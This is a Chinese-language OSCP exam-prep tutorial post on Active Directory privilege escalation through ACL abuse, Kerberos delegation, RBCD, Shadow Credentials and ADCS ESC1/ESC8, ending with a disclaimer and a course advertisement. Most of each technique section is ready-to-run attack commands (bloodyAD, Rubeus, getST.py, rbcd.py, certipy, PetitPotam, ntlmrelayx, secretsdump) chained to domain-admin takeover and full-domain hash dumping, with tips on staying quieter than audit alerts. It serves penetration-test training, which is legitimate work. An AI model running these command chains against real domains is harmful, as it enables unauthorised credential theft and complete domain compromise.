OSCP百日备考26|AD域攻击(下):ACL滥用+委派+RBCD+影子凭据+ADCS,权限提升最后一块拼图
泷羽Sec-陌离
2026年10月30日 16:47
宁夏
去阅读
OSCP/OSEP一对一私教直通车:协议保障,直通高级渗透测试专家
上期\"偷钥匙\",这期\"造钥匙\"
大家好,这里是[泷羽Sec—陌离]。
上期(第25期)我们讲的是\"偷\"——Kerberoasting 偷服务账户的哈希、AS-REP 偷关预认证用户的哈希、DCSync 偷全域哈希、票据伪造\"偷\"身份。这些是 AD 攻击的\"获取凭据\"侧。
这期讲另一半:\"造\"和\"骗\"——当目标没有明显的哈希可偷时,你怎么利用配置错误给自己造一个高权身份出来。这才是现代 AD 攻击真正的重头戏,也是 OSCP+ 新增/加强的部分。
为什么这期这么重要?因为\\真实域环境里,最值钱的东西往往不是密码,而是\"权限关系\"\\。一个普通用户可能对某个高权用户有 GenericAll 权限(可以随便改人家密码),一个机器账户可能被授了委派权限……这些关系肉眼看不见,但 BloodHound 一画就全出来了。这期的每一个技术,都对应 BloodHound 图里的一条\"攻击边\"。
读这期的正确姿势:把每个技术理解成\"BloodHound 里一条边怎么用\"。 你不需要背命令,你需要知道\"看到什么边 → 用什么工具 → 打什么动作\"。
一、先划生死线:考试能用什么?
| 技术/工具 | 考试 | 实战 | 说明 |
|---|---|---|---|
| BloodHound CE | ✅ | ✅✅✅ | 先找边,再打(本期核心方法论) |
| ACL 滥用(PowerView/BloodyAD) | ✅ | ✅✅✅ | GenericAll/WriteDACL 等 |
| RBCD(rbcd.py) | ✅ | ✅✅✅ | OSCP+ 重点 |
| Shadow Credentials(Certipy/PyWhisker) | ✅ | ✅✅✅ | OSCP+ 新增重点 |
| 非约束委派攻击 | ✅ | ✅✅✅ | 强制认证 + 票据捕获 |
| 约束委派(S4U) | ✅ | ✅✅✅ | getST.py / Rubeus |
| ADCS 攻击(Certipy) | ✅ | ✅✅✅ | ESC1-16 证书滥用 |
| Coercer / PetitPotam / DFSCoerce | ✅ | ✅✅✅ | 强制认证全家桶 |
| 自动化漏洞扫描器 | ❌ | ✅ | 禁止 |
| Metasploit | ⚠️限1台 | ✅ | 老规矩 |
⚠️ 重点提醒:RBCD、Shadow Credentials、ADCS 滥用是 OSCP+ 相比老 OSCP 的新增/加强内容——因为它们是 2021 年之后 AD 安全研究的核心成果。老教程(2021 年前的)基本不讲这些,如果你在看旧资料,这期内容对你来说是\"新大陆\"。
二、说人话:ACL 和委派,本质是什么?
先建立两个概念,后面全靠它们:
ACL(访问控制列表):AD 里每个对象(用户、组、计算机)身上都挂着一张\"谁能对我做什么\"的清单。这张清单的每一条叫一个 ACE。比如\"用户A 对 用户B 有 Reset Password 权限\"。
❝
ACL 滥用的本质:如果某个低权账户,对某个高权对象拥有\"过大的权限\"(比如能改密码、能改权限、能加自己进组),你就能借这个权限把自己或别人提权。攻击者不攻破任何密码,只是\"合法地行使了被误授的权限\"。
委派(Delegation):Kerberos 里的一种机制——\"我(服务A)代表用户去访问服务B\"。原本是给多层级应用设计的(比如 Web 服务代表用户去查数据库)。
❝
委派滥用的本质:委派机制允许\"一个账户代表任意用户访问另一个服务\"。如果你控制了这个\"被信任去委派\"的账户,你就能用它冒充域管理员去访问目标。等于你手里有了一张\"可以为所欲为替别人签字\"的授权书。
注意这里的区别:
- ACL 滥用是\"我权限太大,直接改别人\"
- 委派滥用是\"我被信任,可以冒充别人\"
- RBCD 是\"我能改目标的信任配置,让它信任我\"
- Shadow Credentials 是\"我能给目标加一把我掌握的钥匙\"
四种手法,都是\"利用一条配置关系提权\",殊途同归。
三、ACL 滥用:BloodHound 划的边怎么打
先认边(这是最重要的部分)
BloodHound 里,ACL 相关的攻击边主要有这几条,记住它们的含义和对应动作:
| BloodHound 边 | 含义 | 攻击动作 |
|---|---|---|
| GenericAll | 对该对象有完全控制权 | 什么都行:改密码、加组、改权限 |
| GenericWrite | 对该对象有写权限 | 改属性(如 SPN → 可 Kerberoast,或加 KeyCredential → Shadow Credentials) |
| WriteDACL | 能修改该对象的权限清单 | 给自己加 GenericAll,然后为所欲为 |
| WriteOwner | 能修改该对象的所有者 | 把自己设为所有者,然后改 DACL |
| ForceChangePassword | 能强制改该对象密码 | 直接改密码,登录对方 |
| AddMember | 能往组里加成员 | 把自己加进高权组 |
| AddKeyCredentialLink | 能加 Key Credential | Shadow Credentials 攻击 |
1. GenericAll / ForceChangePassword:直接改密码
最直接的一条边——你对目标用户有 GenericAll 或 ForceChangePassword,直接改他密码。
# ===== 方式一:BloodyAD(现代 Python 工具,推荐)=====
# 改目标用户密码
bloodyAD --host 10.10.10.1 -d corp.local -u attacker -p 'Password123' \\
set password victim 'NewPassw0rd!'
# ===== 方式二:PowerView(目标机上跑)=====
Set-DomainUserPassword -Identity victim -AccountPassword (ConvertTo-SecureString 'NewPassw0rd!' -AsPlainText -Force)
# ===== 方式三:net 命令(最土但有效)=====
net user victim NewPassw0rd! /domain
⚠️ 注意:改密码会把原用户踢下线(可能触发告警),实战里优先用更\"安静\"的手法(下面讲的 Shadow Credentials 就不改密码)。
2. AddMember:把自己加进高权组
# ===== BloodyAD 加组 =====
bloodyAD --host 10.10.10.1 -d corp.local -u attacker -p 'Password123' \\
add groupMember \"Domain Admins\" attacker
# ===== PowerView =====
Add-DomainGroupMember -Identity \"Domain Admins\" -Members attacker
💡 考试高频:很多题目给你一个对某高权组有 AddMember 权限的账户,你直接把自己加进去就通关了。先看 BloodHound 有没有 AddMember 边。
3. WriteDACL:从\"能改权限\"到\"完全控制\"
WriteDACL 本身的权限看起来不大(只是能改权限清单),但改权限清单的能力 = 最终的控制权。思路:给自己或自己的账户加一个 GenericAll。
# ===== PowerView:给自己加 GenericAll =====
Add-DomainObjectAcl -TargetIdentity victim -PrincipalIdentity attacker -Rights All
# ===== BloodyAD:给自己加 GenericAll =====
bloodyAD --host 10.10.10.1 -d corp.local -u attacker -p 'Password123' \\
add genericAll victim attacker
\\这个技巧叫\"DACL 链\"\\:WriteDACL → 加 GenericAll → 改密码/加组 → 完成提权。BloodHound 里的长路径经常就是这么串起来的。
4. WriteOwner:先当\"主人\"
拥有对象 = 能改它的 DACL = 能给它加任何权限。所以 WriteOwner 也是一条通向完全控制的边。
# ===== PowerView:把自己设为所有者 =====
Set-DomainObjectOwner -Identity victim -OwnerIdentity attacker
# 然后就能加权限了
Add-DomainObjectAcl -TargetIdentity victim -PrincipalIdentity attacker -Rights All
5. 完整的 ACL 滥用链路(BloodHound 长路径怎么读)
BloodHound 经常画出一条这样的路径:
你(attacker)
──[WriteOwner]──→ UserA
──[WriteDACL]──→ UserB
──[GenericAll]──→ Domain Admins
按顺序打:先 WriteOwner 拿下 UserA,用 UserA 的权限去 WriteDACL 拿下 UserB,再用 UserB 的 GenericAll 进 Domain Admins。每一环都是上一条边的产物,这就是\"链式提权\"。
四、委派攻击(Delegation):一张\"替人签字\"的授权书
三种委派的区别(先分清)
| 委派类型 | 配置位置 | 特点 | 攻击难度 |
|---|---|---|---|
| 非约束委派(Unconstrained) | TRUSTED_FOR_DELEGATION |
被委派机器会缓存所有来访用户的 TGT | 中 |
| 约束委派(Constrained) | msDS-AllowedToDelegateTo |
只能代表用户访问指定服务 | 中 |
| 基于资源的约束委派(RBCD) | msDS-AllowedToActOnBehalfOfOtherIdentity |
目标 决定谁能代表用户访问自己 | 低(最好用) |
1. 非约束委派:捕获域控的 TGT
原理一句话:配置了非约束委派的机器(比如 WEB01),任何用户只要向它认证过,它的内存里就缓存了该用户的 TGT。如果你控制了这台机器,并且能诱骗一台高权机器(比如域控)向它认证,你就能抓到域控的 TGT。
# ===== 第一步:找非约束委派机器 =====
Get-DomainComputer -Unconstrained | select dnshostname, useraccountcontrol
# 或 PowerView:
Get-NetComputer -Unconstrained
# ===== 第二步:在已控的非约束机器上启动票据监控(需要 SYSTEM)=====
.\\Rubeus.exe monitor /interval:5 /filteruser:DC01$ /nowrap
# /interval:5 每 5 秒轮询一次 LSASS
# /filteruser 只看域控机器账户的票
# /nowrap 单行输出,方便复制
# ===== 第三步:强制域控向你的机器认证(Printerbug)=====
# 在攻击机(Linux)上:
python3 printerbug.py corp.local/lowpriv:[email protected] WEB01.corp.local
# 含义:让 10.10.10.1(域控)去认证 WEB01.corp.local(你控制的非约束机器)
⚠️ Printerbug 的关键要求:必须用 FQDN(主机名),不能用 IP! 用 IP 会退化成 NTLM 认证,KDC 不会签发 Kerberos 票据,你就抓不到 TGT。
# ===== 域控关了 Print Spooler?用备选方案 =====
# PetitPotam(MS-EFSRPC)
python3 PetitPotam.py -u lowpriv -p Password123 -d corp.local WEB01.corp.local 10.10.10.1
# DFSCoerce(MS-DFSNM,域控上 DFS 服务常驻)
python3 dfscoerce.py -u lowpriv -p Password123 -d corp.local WEB01.corp.local 10.10.10.1
# 统一工具 Coercer(自动枚举所有可用强制认证手段)
coercer coerce -u lowpriv -p Password123 -d corp.local -t 10.10.10.1 -l WEB01.corp.local
# ===== 第四步:捕获域控 TGT 后,注入并用它 DCSync =====
.\\Rubeus.exe ptt /ticket:doIFuj...base64...
# 用域控机器账户的票去做 DCSync
# (Linux 侧把 base64 转成 ccache 后)
python3 secretsdump.py -k -no-pass corp.local/'DC01$'@dc01.corp.local -just-dc-user krbtgt
❝
💡 校准提醒:微软在新版 Windows Server 上默认关闭了域控的 Print Spooler(针对 PrintNightmare 加固),所以老教程里\"直接 Printerbug\"经常失败。实战/考试要准备好 PetitPotam、DFSCoerce 备选,或者直接用 Coercer 一次试全部。
2. 约束委派:用 S4U 冒充域管
原理一句话:某账户(比如 SVC\_WEB)被配置了 msDS-AllowedToDelegateTo,允许它代表用户访问指定服务。如果你拿到了这个账户的密码或哈希,就能用 S4U2Self + S4U2Proxy 协议,冒充任意用户(含域管)去访问那个服务。
# ===== 第一步:找约束委派账户 =====
Get-DomainUser -TrustedToAuth | select samaccountname, msds-allowedtodelegateto
Get-DomainComputer -TrustedToAuth
# 或直接 LDAP 查:msDS-AllowedToDelegateTo 非空的
# ===== 第二步:用 getST.py 请求冒充票据(Impacket)=====
# 已知 SVC_WEB 的密码:
python3 getST.py -spn cifs/dc01.corp.local -impersonate Administrator \\
-dc-ip 10.10.10.1 corp.local/svc_web:Password123
# 已知 SVC_WEB 的哈希:
python3 getST.py -spn cifs/dc01.corp.local -impersonate Administrator \\
-dc-ip 10.10.10.1 -hashes :<NTLM哈希> corp.local/svc_web
# 输出的 ccache 会像这样:Administrator@[email protected]
# ===== 第三步:使用票据 =====
export KRB5CCNAME=Administrator@[email protected]
python3 secretsdump.py -k -no-pass corp.local/[email protected]
# ===== Rubeus 方式(Windows 侧,一条命令完成)=====
.\\Rubeus.exe s4u /user:svc_web /rc4:<哈希> /impersonateuser:Administrator \\
/msdsspn:cifs/dc01.corp.local /ptt
⚠️ 重要技巧——SPN 服务类可以互换:你拿到的票是 cifs/,但很多情况下不重新申请就能直接换成 http/(WinRM)或 host/(计划任务)——因为 KDC 对票里的服务类绑定不严。这意味着一张票可能同时打通多种协议。Rubeus 用 /altservice:cifs,http,host 可以一次申请多个。
3. RBCD:基于资源的约束委派(OSCP+ 重点)
原理一句话:RBCD 和传统约束委派\"方向相反\"——不是\"我想委派到哪\",而是\"目标说谁可以代表用户访问我\",配置在目标的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性上。
攻击逻辑:如果你能修改目标的那条属性(通过 GenericWrite/GenericAll/WriteDACL),你就能设置\"允许我控制的机器账户代表任意用户访问目标\",然后冒充域管访问它。
前提条件(缺一不可):
- 你对目标计算机对象有写权限(GenericAll/GenericWrite/WriteDACL)
- 你能创建一个机器账户(普通域用户默认就能创建最多 10 个,这就是关键)
- 能访问域控的 LDAP(389) + Kerberos(88)
# ===== 第一步:创建一个我们控制的机器账户 =====
python3 addcomputer.py -computer-name 'EVILPC$' -computer-pass 'CompPass123!' \\
-dc-ip 10.10.10.1 corp.local/lowpriv:Password123
# ===== 第二步:在目标上写 RBCD 属性(让目标信任 EVILPC$)=====
python3 rbcd.py -delegate-from 'EVILPC$' -delegate-to 'TARGET$' -action write \\
-dc-ip 10.10.10.1 corp.local/lowpriv:Password123
# -delegate-from 我们控制的机器账户
# -delegate-to 目标机器账户(要攻击的机器)
# -action write 写入(还有 read 验证、remove 清理)
# ===== 第三步:用 S4U 冒充域管,拿目标的服务票 =====
python3 getST.py -spn cifs/target.corp.local -impersonate administrator \\
-dc-ip 10.10.10.1 'corp.local/EVILPC$:CompPass123!'
# 输出票:administrator@[email protected]
# ===== 第四步:用票拿下目标 =====
export KRB5CCNAME=administrator@[email protected]
python3 psexec.py -k -no-pass target.corp.local
# 或 secretsdump.py -k -no-pass target.corp.local
# ===== Windows 侧:Powermad + Rubeus =====
# 1. 创建机器账户
Import-Module .\\Powermad.ps1
New-MachineAccount -MachineAccount EVILPC -Password $(ConvertTo-SecureString 'CompPass123!' -AsPlainText -Force)
# 2. 拿 EVILPC$ 的 SID
$SID = Get-DomainComputer EVILPC -Properties objectsid | Select -Expand objectsid
# 3. 构造安全描述符并写入目标的 msDS-AllowedToActOnBehalfOfOtherIdentity
$SD = New-Object Security.AccessControl.RawSecurityDescriptor \"O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$SID)\"
$bytes = New-Object byte[] ($SD.BinaryLength); $SD.GetBinaryForm($bytes,0)
Set-DomainObject -Identity 'TARGET$' -Set @{'msds-allowedtoactonbehalfofotheridentity'=$bytes}
# 4. Rubeus S4U
.\\Rubeus.exe s4u /user:EVILPC$ /rc4:<EVILPC$的哈希> /impersonateuser:administrator /msdsspn:cifs/target.corp.local /ptt
⚠️ RBCD 的 OPSEC(实战必看):
- 写
msDS-AllowedToActOnBehalfOfOtherIdentity会触发目录变更审计(Event 5136),是高保真告警信号 - 打完后必须清理:
rbcd.py -action remove删属性 + 删掉你创建的机器账户 - 考试不计较清理,实战不清理就是给蓝队留后门
为什么 RBCD 是 OSCP+ 的重点? 因为它门槛低、威力大——只需要一个普通域用户(能建机器账户)+ 对目标的一点写权限,就能冒充域管。而且这个攻击链正好串起 BloodHound 的两条边(GenericWrite 和 AddKeyCredentialLink/WriteDACL)。
4. Shadow Credentials:给目标加一把\"我掌握的钥匙\"(OSCP+ 新增)
原理一句话:AD 支持\"用证书密钥登录\"(Windows Hello 那套,PKINIT)。如果你能给目标对象加一个新的 Key Credential(写入 msDS-KeyCredentialLink 属性),就等于给那个账户配了一把由你掌握的私钥。然后你用 PKINIT 拿它的 TGT,还能导出它的 NTLM 哈希。
为什么它比改密码更好?
- 不改密码——原用户还正常工作,不会踢人下线,不会触发\"密码被改\"告警
- 不留密码痕迹——只多了一条 Key Credential 记录
- 能拿到 NTLM 哈希——比单纯改密码更值钱(可以 PtH)
前提:你对目标有 GenericWrite / AddKeyCredentialLink 权限;域控 ≥ Windows Server 2016 且启用 PKINIT。
# ===== 方式一:Certipy 一键(最省事,推荐)=====
certipy shadow auto -u [email protected] -p 'Password123' \\
-dc-ip 10.10.10.1 -account victim
# auto 模式自动完成:add → PKINIT → dump 哈希 → 清理
# 输出:目标的 NTLM 哈希 + 保存的 PFX 证书
# 针对计算机账户(注意末尾的 $)
certipy shadow auto -u [email protected] -p 'Password123' \\
-dc-ip 10.10.10.1 -account 'WS01$'
# ===== 方式二:PyWhisker 分步(更可控)=====
# 列出目标现有 Key Credential
python3 pywhisker.py -d corp.local -u attacker -p 'Password123' --target victim --action list
# 添加一个我们控制的 Key Credential
python3 pywhisker.py -d corp.local -u attacker -p 'Password123' --target victim \\
--action add --filename victim_shadow
# 生成 victim_shadow.pfx(记住它输出的 PFX 密码和 DeviceID)
# 用 PKINIT 拿 TGT
python3 PKINITtools/gettgtpkinit.py -cert-pfx victim_shadow.pfx -pfx-pass <PFX密码> \\
corp.local/victim victim.ccache
# 从 TGT 导出 NTLM 哈希
export KRB5CCNAME=victim.ccache
python3 PKINITtools/getnthash.py -key <上一步输出的AS-REP密钥> corp.local/victim
# 清理(删掉注入的 Key Credential)
python3 pywhisker.py -d corp.local -u attacker -p 'Password123' --target victim \\
--action remove --device-id <刚才的DeviceID>
# ===== 方式三:Whisker(Windows .NET 工具)=====
.\\Whisker.exe list /target:victim /domain:corp.local /dc:dc01.corp.local
.\\Whisker.exe add /target:victim /domain:corp.local /dc:dc01.corp.local /path:cert.pfx /password:Passw0rd1
.\\Whisker.exe remove /target:victim /domain:corp.local /dc:dc01.corp.local /deviceid:<ID>
❝
💡 Shadow Credentials 的经典组合拳:
GenericWrite边 → Shadow Credentials 拿下机器账户 → 拿到机器账户 → 用它做 RBCD 冒充域管。这是 BloodHound 里非常经典的一条\"两段式\"提权链。
五、ADCS 攻击:证书服务的\"自助提权机\"
为什么 ADCS 是\"重灾区\"?
ADCS(Active Directory Certificate Services)是给域内提供数字证书的服务。2021 年 SpecterOps 发布《Certified Pre-Owned》白皮书后,人们才发现:证书模板的配置错误,可以让一个普通用户拿到\"以任意身份登录\"的证书。
一句话原理:证书认证有一个叫 SAN(Subject Alternative Name)的字段,里面写着\"这张证书代表谁\"。如果某个证书模板允许你自己填\\ SAN 字段(而不是强制用你的真实身份),你就能申请一张\"写着域管名字\"的证书——然后拿它去认证,你就是域管了。\\
ESC1:最经典的配置错误
条件(三条同时满足):
- 模板允许低权用户申请
- 模板允许在申请时指定 SAN
- 模板的用途包含客户端认证(Client Authentication)
# ===== 第一步:用 Certipy 发现所有 ESC 漏洞 =====
certipy find -u [email protected] -p 'Password123' -dc-ip 10.10.10.1 -vulnerable -stdout
# -vulnerable 只显示有漏洞的模板
# 输出会标明 ESC1/ESC2/... 和具体模板名
# ===== 第二步:利用 ESC1 申请一张\"域管证书\" =====
certipy req -u [email protected] -p 'Password123' -dc-ip 10.10.10.1 \\
-ca 'CORP-CA' -template 'VulnerableTemplate' -upn [email protected]
# -ca CA 名称
# -template 有漏洞的模板
# -upn 要冒充的身份(写成域管!)
# ===== 第三步:用证书认证,拿到域管的哈希 =====
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.1
# 输出:域管的 NTLM 哈希!→ 直接 PtH 或 DCSync
ESC 家族速查(知道有这些就行,考试通常考 ESC1 和 ESC8)
| ESC | 一句话说明 |
|---|---|
| ESC1 | 模板允许用户自定 SAN → 冒充任意用户(最常见) |
| ESC2 | 模板可用于\"任意用途\" → 类似 ESC1 |
| ESC3 | 注册代理证书滥用 → 代别人申请 |
| ESC4 | 对模板有写权限 → 直接改成 ESC1 |
| ESC6 | CA 允许 SAN 标志(EDITF\_ATTRIBUTESUBJECTALTNAME2) |
| ESC7 | CA 管理权限滥用 |
| ESC8 | NTLM 中继到 ADCS HTTP 端点 → 拿域控证书(经典链) |
| ESC9/10 | 缺少强证书绑定 → 改 UPN 冒充 |
| ESC11 | ICPR(RPC)中继 |
| ESC13 | 证书与组链接错配 → 直接拿高权 |
| ESC16 | 安全扩展被全局禁用 |
ESC8:NTLM 中继 + ADCS 的经典组合(考试可能出)
原理:ADCS 的 Web 注册端点(certsrv)支持 NTLM 认证。用强制认证让域控向我们认证,然后把认证中继到 ADCS,申请一张域控的证书——拿到域控证书 = 拿到域控身份 = DCSync。
# ===== 第一步:启动中继(终端1)=====
# 中继到 ADCS 的 Web 注册端点,申请 DomainController 模板
sudo ntlmrelayx.py -t http://ca.corp.local/certsrv/certfnsh.asp \\
-smb2support --adcs --template DomainController
# ===== 第二步:强制域控认证(终端2)=====
python3 PetitPotam.py -u lowpriv -p Password123 -d corp.local 攻击机IP 域控IP
# 域控的认证被中继到 ADCS,ntlmrelayx 输出一张 base64 证书
# ===== 第三步:用域控证书认证,拿域控哈希 =====
echo 'BASE64...' | base64 -d > dc.pfx
certipy auth -pfx dc.pfx -dc-ip 10.10.10.1
# 输出域控机器账户的 NTLM 哈希
# ===== 第四步:DCSync =====
python3 secretsdump.py -hashes :<域控哈希> corp.local/'DC01$'@10.10.10.1
❝
⚠️ ESC8 链的 OPSEC:中继 + 强制认证会产生大量日志。实战里这是一条\"高价值但高噪声\"的链,考试环境无所谓。另外2022 年后微软为 ADCS 默认开启 EPA(扩展保护),ESC8 在老环境更好用,新环境可能失败。
六、完整 AD 攻击链(下半场)
[起点] 一个普通域用户凭据
│
├─[1] BloodHound 跑一遍 → 找出所有攻击边
│
├─[2] 看有什么边:
│ ├─ ForceChangePassword/GenericAll → 改密码拿下
│ ├─ AddMember → 加进高权组
│ ├─ WriteDACL/WriteOwner → DACL 链提权
│ ├─ GenericWrite → Shadow Credentials(加钥匙)
│ └─ GenericWrite/WriteDACL(对机器)→ RBCD
│
├─[3] 有非约束委派机器?
│ └─ 强制认证(Coercer/Printerbug/PetitPotam)→ 捕获高权 TGT
│
├─[4] 有约束委派账户?
│ └─ getST.py S4U 冒充域管 → 拿服务票
│
├─[5] 有 ADCS 漏洞模板?
│ └─ Certipy req 申请域管证书 → auth 拿哈希
│
├─[6] 拿到高权身份 → DCSync(上期内容)→ 全域哈希 🎯
│
└─[7] 伪造黄金票据 → 永久控制域
核心方法论:先跑 BloodHound 看边,再选对应的打法。 不要盲目试工具——BloodHound 画出来的路径就是命题人给你的解题步骤。
七、避坑指南 🚨
- BloodHound 先跑,别乱试——AD 攻击不是\"把工具全跑一遍\",是\"看边打边\"。跑完 SharpHound 导入 BloodHound,看
Shortest Paths to Domain Admins,按图索骥。 - 改密码(ForceChangePassword)是最粗暴的——会把用户踢下线、触发告警。有
GenericWrite时优先用 Shadow Credentials(不改密码,更隐蔽)。 - Printerbug 必须用 FQDN——用 IP 会退化成 NTLM,拿不到 Kerberos 票据。而且新版 Windows Server 默认关了域控的 Spooler,备好 PetitPotam/DFSCoerce 或用 Coercer。
- RBCD 需要\"能建机器账户\"这个前提——普通域用户默认能建 10 个(
ms-DS-MachineAccountQuota)。如果配额被设为 0,RBCD 走不通,得换别的手法。 - RBCD 写完属性必须清理——
msDS-AllowedToActOnBehalfOfOtherIdentity的修改触发 Event 5136 审计。实战打完用rbcd.py -action remove清掉,顺手删掉自己建的机器账户。 - 约束委派的 SPN 类可以换——拿到
cifs/的票,试试换成http/(WinRM)、host/(计划任务)。一张票可能打通多个协议,不用重新申请。 - \\ADCS 先
certipy find -vulnerable\\——别猜哪个模板有洞,让工具告诉你。ESC1 最常见,ESC8 是经典中继链。 - 考试里\"找不到边\"也比\"乱打\"强——如果 BloodHound 没有明显路径,回头检查:是不是漏了某个组的嵌套关系?是不是有
WriteOwner这种间接边?AD 攻击的答案永远在\"关系图\"里,不在工具列表里。
八、免责声明 ⚠️
[请务必读完]
本文所述所有渗透测试技术、工具和方法,仅供安全从业者在已获合法书面授权的环境中进行学习研究和能力认证备考使用。
未经目标所有者明确授权,对任何系统、网络、应用进行渗透测试、漏洞扫描或任何形式的攻击尝试,均可能构成违法犯罪行为。
请严格遵守《中华人民共和国网络安全法》《中华人民共和国数据安全法》《中华人民共和国个人信息保护法》及相关法律法规。任何利用本文内容实施的非法行为,与本文作者无关。
本文涉及的认证信息仅基于公开可查资料整理,不代表 Offensive Security 官方立场。考试规则、工具限制等详情请以 OffSec 官网最新公告为准。
网络不是法外之地。技术是工具,守住法律底线比学会任何漏洞都重要。
九、下期预告 🔜
第27期:AD 域渗透全流程实战复盘——从 assumed compromise 到拿下域控,一条完整的 AD 攻击链实战推演!把第23-26期讲的所有技术串成一条线,看看考试 AD 大题到底怎么解!
关注不迷路 👇 评论区聊聊:你觉得 AD 攻击里最难的是哪一环?RBCD 还是 ADCS?
OSCP/OSEP一对一私教直通车:协议保障,直通高级渗透测试专家
泷羽Sec
OSCP+培训福利
限时团购4000
泷羽Sec-醉陌离
泷羽Sec OSCP课程新靶场+课程结合,老学员直接内测体验,加量不加价,后期等全面上线,老学员直接用,新学员可能会面临价格上浮,所以趁现在别犹豫赶快报名吧!
限时最后特价4000!!!
现在两人组团每人减100,三人组队每人减200,四人组团每人减300,五人组团每人减400(也就是打9折),10人组团打8折!
我们只需要花费800不到的费用就能享受 7年红队经验,在职红队队长带领培训oscp+,并且是永久学习,可以无限学习下一期。
还有更多的限时福利,看下面
今年就这一次机会,过年趁着别人都在娱乐的时候,趁此机会弯道超车。让基友对你的飞速进步发出惊叹,让曾经的同事对你的专业素养投来羡慕的目光。
在你还在犹豫是否要报名OSCP的时候,别人已经行动了,在学习完oscp培训和泷羽sec的红队全栈课后,去考OSCP拿下竞争力,别人月入过几万而你却还在为没有能力证明和没有工作而发愁,那为什么不行动起来呢?4000的价格比外面培训低了一半多,在加活动更低,也就这一次机会,后面都不会有了,就明年的这个时候才考虑举办。
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论